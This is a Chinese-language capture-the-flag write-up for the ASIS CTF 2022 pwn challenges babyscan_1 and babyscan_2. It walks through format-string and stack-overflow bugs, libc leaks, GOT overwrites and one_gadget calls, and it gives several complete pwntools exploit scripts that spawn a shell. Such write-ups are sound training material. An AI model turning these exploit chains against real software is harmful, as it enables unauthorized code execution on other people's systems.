ASIS CTF 2022 pwn babyscan_1 babyscan_2

babyscan_1

题目附件:babyscan_1_12c5d902584e857a4f680aa1575d2fd81e08ec03.txz

题目分析

两道题都给了源码,第一题main函数源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main() {
char size[16], fmt[8], *buf;

printf("size: ");
scanf("%15s", size); // 输入需要alloca内存的大小,可输入的长度是15个字符
if (!isdigit(*size)) { // 仅判断输入的第一个字符,要求为数字
puts("[-] Invalid number");
return 1;
}

buf = (char*)alloca(atoi(size) + 1); // alloca表示在栈上申请一段空间,atoi仅识别连续数字部分

printf("data: ");
snprintf(fmt, sizeof(fmt), "%%%ss", size); // 将输入的size转为"%[size]s",由于fmt仅占8字节,size字符串过长会冲掉后面的"s"
scanf(fmt, buf); // fmt作为格式话字符,等待用户输入,并将输入转化到buf中

return 0;
}

二进制的基本信息如下:

1
2
3
4
5
6
7
8
9
10
$ file chall      
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b31cf6b807484f2d04a80ceb67725cdb0f0785cd, for GNU/Linux 3.2.0, not stripped

$ checksec chall
[*] '/home/bling/Downloads/1014-asis/baby_scan_1/bin/chall'
Arch: amd64-64-little
RELRO: Partial RELRO # 部分RELRO说明GOT表可写
Stack: No canary found # 无canary,如果是栈溢出漏洞,利用将简单很多
NX: NX enabled # 栈和bss段不可执行
PIE: No PIE (0x400000) # 未开PIE,代码段无随机化,有助于利用

根据源码及二进制信息可以推测,这题是让我们用格式化字符串整一个栈溢出。

size如果输入为22,alloca申请23的空间(buf[23]),最后一个scanf就为scanf("%22s",buf),不会产生溢出。

所以,应该怎样来构造输入呢?

还记得格式化字符串格式中的n$ 吗?假如我们输入size为22$,alloca会申请buf[23],到最后那个scanf的时候就成了scanf("%22$s",buf)。发现了什么?我们可以往scanf的第23个参数指向的地址处,写无限长度的字符串( •̀ ω •́ )y

把上面的22改成1,就能往buf中越界写啦,调试得到此时的返回地址偏移为72。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

payload = cyclic(200)

gdb.attach(myio,"b *0x401364 \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)

myio.interactive()

到此已经可以劫持控制流了。程序中没有后门函数,那么需要找libc中one_gadget,或者通过ROPgadget布置好栈空间获得shell。这两种方法的前提都是要想办法泄露libc基址。

泄露libc基址

根据got表中的的函数,及调试信息,考虑通过puts(snprintf_got)打印libc地址。

1
2
3
4
5
6
7
8
9
.got.plt:0000000000404018 off_404018      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404020 off_404020 dq offset setbuf ; DATA XREF: _setbuf+4↑r
.got.plt:0000000000404028 off_404028 dq offset printf ; DATA XREF: _printf+4↑r
.got.plt:0000000000404030 off_404030 dq offset snprintf ; DATA XREF: _snprintf+4↑r
.got.plt:0000000000404038 off_404038 dq offset alarm ; DATA XREF: _alarm+4↑r
.got.plt:0000000000404040 off_404040 dq offset atoi ; DATA XREF: _atoi+4↑r
.got.plt:0000000000404048 off_404048 dq offset __isoc99_scanf
.got.plt:0000000000404048 ; DATA XREF: ___isoc99_scanf+4↑r
.got.plt:0000000000404050 off_404050 dq offset __ctype_b_loc ; DATA XREF: ___ctype_b_loc+4↑r

为此,只需通过ROPgadget找到一条控制rdi(64位下存放函数调用的第一个参数)的代码片段,即0x401433。

1
2
3
4
5
$ ROPgadget --binary ./bin/chall | grep rdi
0x00000000004012d6 : mov word ptr [rax + rdi*8], fs ; sldt word ptr [rax] ; add bl, ch ; jmp 0xffffffff82029c2b
0x0000000000401186 : or dword ptr [rdi + 0x404068], edi ; jmp rax
0x0000000000401433 : pop rdi ; ret
0x00000000004011f8 : stosd dword ptr [rdi], eax ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret

最后,在栈上依次布置好pop rdi;ret地址,snprintfgot表项地址,puts的plt表项地址,最后是main函数地址(这样我们可以再次实现控制流劫持,获得shell)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

pop_rdi = 0x401433
got_snprintf = 0x404030
plt_puts = 0x4010B4
main_addr = 0x401216
payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)

# gdb.attach(myio,"b *0x401364 \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)
snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00"))
libc_base = snprintf_addr - 0x61d60
print(hex(libc_base))

myio.interactive()

以上代码获取到libc基址并打印后,将返回main函数继续执行。

get shell

使用one_gadget找到如下3段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ one_gadget ./lib/libc.so.6 
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

通过调试发现ret时的寄存器情况只满足0xe3b01这段代码,选中它,最终get shell的完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
# myio = remote("65.21.255.31",13370)

pop_rdi = 0x401433
got_snprintf = 0x404030
plt_puts = 0x4010B4
main_addr = 0x401216
payload = b'a'*72+p64(pop_rdi)+p64(got_snprintf)+p64(plt_puts)+ p64(main_addr)

# gdb.attach(myio,"b *0x401364 \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)
snprintf_addr = u64(myio.recvline()[:6].ljust(8,b"\x00"))
libc_base = snprintf_addr - 0x61d60
print(hex(libc_base))

# one_gadget offset: 0xe3b01
exec_bin_sh = libc_base + 0xe3b01
myio.sendlineafter("size: ",b"1$")
payload = b'a'*72+p64(exec_bin_sh)
myio.sendlineafter("data: ",payload)

myio.interactive()

思考

leak libc的时候,上面使用的是puts(got_snprintf),按理说用printf函数也能达到泄露的效果,但是一旦将puts改成printf,就会segmentation fault。

查了些资料,这种错误有两种可能:

  1. malloc中控制流劫持后嵌套调用printf,因为printf也会调用malloc,这种嵌套调用容易出问题
  2. call printf时,栈的状态不是16字节对齐

The x86-64 System V ABI guarantees 16-byte stack alignment before a call

(类似地,某些题目劫持控制流执行system("/bin/sh")在ubuntu16.04中能成功,但在ubuntu18.04中就失败,也同样是因为对齐地问题。)

如果用printf泄露libc,那么本题地wp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})
# myio = remote("65.21.255.31",13370)

pop_rdi = 0x401433
got_snprintf = 0x404030
plt_printf = 0x4010D0
start_addr = 0x401130 # 如果回main的话,下一次调用printf时栈不对齐。回start可避免该问题
payload = b'a'*72+p64(0x401430)+ p64(0) + p64(0) + p64(pop_rdi)+p64(got_snprintf)+p64(plt_printf)+ p64(start_addr) # 增加了0x401430这个gadget,调整call printf时栈对齐

gdb.attach(myio,"b *0x40136e \n c")
myio.sendlineafter("size: ",b"1$")
myio.sendlineafter("data: ",payload)
snprintf_addr = u64(myio.recv(6).ljust(8,b"\x00"))
libc_base = snprintf_addr - 0x61d60
print(hex(libc_base))

# one_gadget offset: 0xe3b01
exec_bin_sh = libc_base + 0xe3b01
myio.sendlineafter("size: ",b"1$")
payload = b'a'*72+p64(exec_bin_sh)
myio.sendlineafter("data: ",payload)

myio.interactive()

另一种方法:使用ret2csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

csu_first_addr = 0x40142A
csu_second_addr = 0x401410

def csu(rbx, rbp, r12, r13, r14, r15, next_func):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r15 should be the function we want to call
# rdi=edi=r12d
# rsi=r13
# rdx=14
payload = b'a'*72 + p64(0x401430) + p64(0x0) +p64(0x0) # 作为通用csu函数时,后三个p64应当删除,这里是为了使call printf时(泄露libc)栈对齐
payload += p64(csu_first_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_second_addr)
payload += b'b' * 0x38
payload += p64(next_func)
return payload

# gdb.attach(myio,"b *0x40136E \n c")
myio.sendlineafter("size: ",b"1$")
# printf(snprintf_got)
# csu(0,1,arg1,arg2,arg3,got_printf,ret2start)
payload1 = csu(0,1,0x404030,0,0,0x404028,0x401130)
myio.sendlineafter("data: ",payload1)

libc_snprintf = u64(myio.recv(6).ljust(8,b"\x00"))
libc_base = libc_snprintf - 0x61d60
print(hex(libc_base))

exec_sh = libc_base + 0xe3b01
myio.sendlineafter("size: ",b"1$")
payload2 = b'a'*72 + p64(0x401432) + p64(0) + p64(exec_sh) # 为了满足one_gadget的条件,增加了一条0x401432,使r15寄存器为0
myio.sendlineafter("data: ",payload2)

myio.interactive()

babyscan_2

题目附件:babyscan_2_c5b1d8e83c4dadd3d3d96f8f9b7ea7a717f48ea0.txz

题目分析

第二个题跟第一个题的差别在于,将alloca改成了malloc。这时申请的内存在堆上,不再能够轻易栈溢出了,而题目中也没有free函数,无法利用堆上的数据结构劫持控制流。

1
buf = (char*)malloc(atoi(size) + 1);

根据第一题的状态,scanf("%1$s", buf)的buf在堆上,往它写再多数据也没用。那么能不能往“隐藏的参数 ”里写呢?

输入size为1$saaaabbbbcccc,查看第二个scanf的状态。RDI-格式化字符串;RSI-堆地址;RDX-堆地址;RCX-0;R8-无效地址;R9-栈空间低地址(当前栈帧未使用)。然后就是栈中的参数依次是:0x7f1488c892e8,0x61616161243125,“9$saaabb”,“bbccccc”(我们可控,对应9$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
## 寄存器情况
RAX 0x0
RBX 0x401390 ◂— endbr64
RCX 0x0
RDX 0x5555567472a0 ◂— 0x0
RDI 0x7ffca62e5c38 ◂— 0x61616173243925 /* '%9$saaa' */
RSI 0x5555567472a0 ◂— 0x0
R8 0xffffffff
R9 0x7ffca62e5ac0 ◂— 0x2
R10 0x40202e ◂— 0x4c3b031b010073 /* 's' */
R11 0x7ffca62e5c40 ◂— '9$saaabbbbcccc'
R12 0x401170 ◂— endbr64
R13 0x7ffca62e5d48 ◂— 0x1c
R14 0x0
R15 0x0
RBP 0x7ffca62e5c60 ◂— 0x0
RSP 0x7ffca62e5c30 —▸ 0x7f1488c892e8 (__exit_funcs_lock) ◂— 0x0
RIP 0x40132b ◂— call 0x401140

## 栈中情况
00:0000│ rsp 0x7ffca62e5c30 —▸ 0x7f1488c892e8 (__exit_funcs_lock) ◂— 0x0
01:0008│ rdi 0x7ffca62e5c38 ◂— 0x61616173243925 /* '%9$saaa' */
02:0010│ r11 0x7ffca62e5c40 ◂— '9$saaabbbbcccc'
03:0018│ 0x7ffca62e5c48 ◂— 0x636363636262 /* 'bbcccc' */
04:0020│ 0x7ffca62e5c50 —▸ 0x7ffca62e5d48 ◂— 0x1c
05:0028│ 0x7ffca62e5c58 —▸ 0x5555567472a0 ◂— 0x0
06:0030│ rbp 0x7ffca62e5c60 ◂— 0x0
07:0038│ 0x7ffca62e5c68 —▸ 0x7f1488abc083 (__libc_start_main+243) ◂— mov edi, eax

因此,通过控制输入size为9$saaabb+p64(0xbabebabe),使scanf("%9$saaa",buf)时将输入的内容写入地址0xbabebabe处。

至此,我们获得了任意地址写任意值(且%s无长度限制)的能力。通过如下代码片段确认任意地址写的能力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); 只接收最多15个字符,不要输超过,不然会影响下一个scanf的输入!!!
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

gdb.attach(myio,"b *0x40132b \n c") # 通过调试,看到0x404070地址处被成功写为0xddccbbaa

payload1 = b"\xaa\xbb\xcc\xdd"
aaw(0x404070,payload1)
myio.interactive()

有了一次任意地址写的能力,但对于利用来说还不够,因此首先需要想办法将一次变成多次。另外got表可写,考虑将某个函数的got表项改成one_gadget地址,就可以get shell,在这之前需要先泄露libc基址。

让main进入循环

由于任意地址写完之后就会调用exit(0)推出程序,无法进一步泄露或利用信息。因此首先利用任意地址写,将exit的got表项改成main函数或start函数。这样就具备了无数次任意地址写的能力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); only handle 15 char
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

gdb.attach(myio,"b *0x40132b \n c")

payload1 = p64(0x401256)[:-1] # return main ,需要注意,任意地址写的时候,要密切关注被写位置是否超范围覆盖。比如这里如果不在最后加[:-1]的话就会将后一个got表项(__ctype_b_loc)写坏。导致再次进main函数后,执行出错
# payload2 = p64(0x401170)[:-1] # return start
aaw(0x404058,payload1) # exit_got: 0x404058
myio.interactive()

泄露libc地址

怎么泄露libc呢?

在main函数中搜寻了所有的函数,以及所有可能的方式,无果。因为只要改了main中使用到的任何一个函数,下次再回到main函数,就无法再获得任意地址写的能力了,也就无法继续利用了。

所以回到got表,看看有没有其他能用的函数。如下,setbuf和alarm函数不是在main函数中使用,而是init_array中的setup函数调用过的。alarm函数的参数写死了,无法调整。于是只剩下了setbuf这个函数(●ˇ∀ˇ●)嘿嘿,如果将setup的got表项改成puts的plt地址,也许能输出点什么。

1
2
3
4
5
6
7
8
9
10
11
.got.plt:0000000000404018 B8 40 40 00 00 00 00 00 off_404018      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404020 C0 40 40 00 00 00 00 00 off_404020 dq offset setbuf ; DATA XREF: _setbuf+4↑r
.got.plt:0000000000404028 C8 40 40 00 00 00 00 00 off_404028 dq offset printf ; DATA XREF: _printf+4↑r
.got.plt:0000000000404030 D0 40 40 00 00 00 00 00 off_404030 dq offset snprintf ; DATA XREF: _snprintf+4↑r
.got.plt:0000000000404038 D8 40 40 00 00 00 00 00 off_404038 dq offset alarm ; DATA XREF: _alarm+4↑r
.got.plt:0000000000404040 E8 40 40 00 00 00 00 00 off_404040 dq offset malloc ; DATA XREF: _malloc+4↑r
.got.plt:0000000000404048 F0 40 40 00 00 00 00 00 off_404048 dq offset atoi ; DATA XREF: _atoi+4↑r
.got.plt:0000000000404050 F8 40 40 00 00 00 00 00 off_404050 dq offset __isoc99_scanf
.got.plt:0000000000404050 ; DATA XREF: ___isoc99_scanf+4↑r
.got.plt:0000000000404058 00 41 40 00 00 00 00 00 off_404058 dq offset exit ; DATA XREF: _exit+4↑r
.got.plt:0000000000404060 08 41 40 00 00 00 00 00 off_404060 dq offset __ctype_b_loc ; DATA XREF: ___ctype_b_loc+4↑r

来看看setup函数中的三个setbuf,分别用来初始化stdin,stdout和stderr。stdin和stdout如果动了的话,可能会影响跟程序的交互,于是理所当然选择stderr。 貌似用哪个都无所谓,因为第一次进main函数已经初始化过了,而且setbuf的got表项被改了,这三条相当于都废了。(不过不确定stdin/stdout在其他地方有没有引用,所以还是不改它们为好)

1
2
3
4
5
6
void setup()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL); // 0x401379 call _setbuf
}

断点下到0x401379,观察此时的参数及相关内存空间状态。RDI值如下,是stderr(0x4040a0)处存放的值(libc地址)。如果将setbuf的got表项值替换成puts的plt表项地址(0x4010D0),那么这里应该是puts(0x7ff2ff9435c0),即输出0xfbad2087,并非我们想要的libc地址。

1
2
3
RDI  0x7ff2ff9435c0 (_IO_2_1_stderr_) ◂— 0xfbad2087

# stderr: 0x4040a0 <-- 0x7ff2ff9435c0 (_IO_2_1_stderr_) <-- 0xfbad2087

怎么办呢,看来得把stderr处存放的值改掉。有两种改法:

  • 0x7ff2ff9435c0地址附近有libc地址。所以可以将最低1个字节改成“\x00”,可以leak出0x00007ff2ff940440这个值(此时libc基址0x7ff2ff756000),之后通过偏移(0x1ea440)便能计算出基址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    pwndbg> x/10gx 0x7ff2ff9435c0-0x20
    0x7ff2ff9435a0 <_IO_list_all>: 0x00007ff2ff9435c0 0x0000000000000000
    0x7ff2ff9435b0: 0x0000000000000000 0x0000000000000000
    0x7ff2ff9435c0 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007ff2ff943643
    0x7ff2ff9435d0 <_IO_2_1_stderr_+16>: 0x00007ff2ff943643 0x00007ff2ff943643
    0x7ff2ff9435e0 <_IO_2_1_stderr_+32>: 0x00007ff2ff943643 0x00007ff2ff943643
    pwndbg> x/50gx 0x7ff2ff943500
    0x7ff2ff943500 <_nl_global_locale+96>: 0x00007ff2ff940440 0x00007ff2ff8f23c0
    0x7ff2ff943510 <_nl_global_locale+112>: 0x00007ff2ff8f14c0 0x00007ff2ff8f1ac0
    # 此时的地址空间布局
    pwndbg> vmmap
    ......
    0x7ff2ff756000 0x7ff2ff778000 r--p 22000 0 /home/bling/Downloads/1014-asis/baby_scan_2/lib/libc.so.6
    0x7ff2ff778000 0x7ff2ff8f0000 r-xp 178000 22000 /home/bling/Downloads/1014-asis/baby_scan_2/lib/libc.so.6
    0x7ff2ff8f0000 0x7ff2ff93e000 r--p 4e000 19a000 /home/bling/Downloads/1014-asis/baby_scan_2/lib/libc.so.6
    0x7ff2ff93e000 0x7ff2ff942000 r--p 4000 1e7000 /home/bling/Downloads/1014-asis/baby_scan_2/lib/libc.so.6
    0x7ff2ff942000 0x7ff2ff944000 rw-p 2000 1eb000 /home/bling/Downloads/1014-asis/baby_scan_2/lib/libc.so.6
    ......
  • got表项中存了libc地址。把stderr处的值改成got表项的地址

这里使用后一种方法,泄露snprintf的libc地址,进而得到libc基址,三步:

  1. 改写stderr(0x4040a0)地址处的值为snprintf的got表项地址(0x404030)
  2. 改写setbuf的got表项(0x404020)。由于”\x20”是空格,在scanf的时候会被过滤,所以我们偏移一个字节写0x40401f处
  3. 改exit的got表项,让下次循环进入start函数,触发setbuf(stderr),即puts(snprintf_got)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); only handle 15 char
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

# gdb.attach(myio,"b *0x40132b \n c") # 2nd scanf
# gdb.attach(myio,"b *0x401379 \n c") # setbuf

payload1 = p64(0x401256)[:-1] # return main
aaw(0x404058,payload1) # exit_got: 0x404058

# set stderr ,set setbuf_got
aaw(0x4040a0,p64(0x404030)[:-1]) # change: 0x4040a0 —▸ 0x404030 —▸ 0x7f90a4f14d60 (snprintf)
aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00") # 让地址0x404020处为0x4010d0,往前偏移1字节写入

# to exec setbuf(stderr) = puts(snprintf_got)
payload1 = p64(0x401170)[:-1] # return start
aaw(0x404058,payload1) # exit_got: 0x404058

myio.recvline() # puts(stdin)
myio.recvline() # puts(stdout)
libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) # puts(snprintf_got)
libc_base = libc_snprintf - 0x61d60
print(hex(libc_base))

myio.interactive()

get shell

有了libc地址,一切就变得简单了。只需要把exit的got表项内容改成one_gadget地址,退出main函数时就能get shell啦。本题有如下三条one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ one_gadget ./lib/libc.so.6   
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

调试查看最后一次scanf时的寄存器情况,如下。这里我选择0xe3b01这条gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x0
RBX 0x401390 ◂— endbr64
RCX 0x0
*RDX 0x5555562a3320 ◂— 0x0
*RDI 0x7ffd7a2b3ec8 ◂— 0x61616173243925 /* '%9$saaa' */
*RSI 0x5555562a3320 ◂— 0x0
R8 0xffffffff
*R9 0x7ffd7a2b3d50 ◂— 0x0
R10 0x40202e ◂— 0x4c3b031b010073 /* 's' */
*R11 0x7ffd7a2b3ed0 ◂— '9$saaabbX@@'
R12 0x401170 ◂— endbr64
R13 0x7ffd7a2b41b8 ◂— 0x1c
R14 0x0
R15 0x0
*RBP 0x7ffd7a2b3ef0 ◂— 0x0
*RSP 0x7ffd7a2b3ec0 ◂— 0xffffffff
RIP 0x40132b ◂— call 0x401140

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

myelf = ELF("./bin/chall")
mylibc = ELF("./lib/libc.so.6")
myld = ELF("./lib/ld-2.31.so")
myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

def aaw(addr,value):
p_size = b"9$saaabb"+ p64(addr)[:-1] # scanf("%15s", size); only handle 15 char
myio.sendlineafter("size: ",p_size)
myio.sendlineafter("data: ",value)

# gdb.attach(myio,"b *0x40132b \n c") # 2nd scanf
# gdb.attach(myio,"b *0x401379 \n c") # setbuf

payload1 = p64(0x401256)[:-1] # return main
aaw(0x404058,payload1) # exit_got: 0x404058

# set stderr ,set setbuf_got
aaw(0x4040a0,p64(0x404030)[:-1]) # change: 0x4040a0 —▸ 0x404030 —▸ 0x7f90a4f14d60 (snprintf)
aaw(0x40401f,"\x00\xd0\x10\x40\x00\x00\x00\x00") # 让地址0x404020处为0x4010d0,往前偏移1字节写入

# to exec setbuf(stderr) = puts(snprintf_got)
payload1 = p64(0x401170)[:-1] # return start
aaw(0x404058,payload1) # exit_got: 0x404058

myio.recvline() # puts(stdin)
myio.recvline() # puts(stdout)
libc_snprintf = u64(myio.recvline()[:-1].ljust(8,b"\x00")) # puts(snprintf_got)
libc_base = libc_snprintf - 0x61d60
print(hex(libc_base))

payload1 = p64(libc_base+0xe3b01)[:-1] # exec /bin/sh
aaw(0x404058,payload1) # exit_got: 0x404058

myio.interactive()

思考

  • 任意地址写的时候,一定要观察写入的地址附近,是否有写超过了的情况

  • 写got表时,碰到含”\x20”等特殊字符的地址时,可以考虑偏移一个字节/几个字节写入

  • pwn题替换ld和libc进行调试的方法:

    1. 使用gdb,参考How to use a different ld-linux.so?

      1
      2
      $ gdb ./lib/ld-2.31.so
      (gdb) run --library-path ./lib ./bin/chall
    2. patch elf,参考加载libc

    3. 使用pwntools python脚本

      1
      2
      3
      4
      5
      6
      myelf = ELF("./bin/chall")
      mylibc = ELF("./lib/libc.so.6")
      myld = ELF("./lib/ld-2.31.so")
      myio = process(argv=[myld.path,myelf.path],env={"LD_PRELOAD" : mylibc.path})

      gdb.attach(myio,"b *0x40132b \n c")

      上面这种方法只能断在main后,想断在main前,需要使用gdb.debug("xxx","b *0xaaaa \n c")(这种方法下,如果要指定libc和ld的话,得先通过patch elf改掉libc和ld的路径)。参考:使用pwntools+gdb下断点到main函数前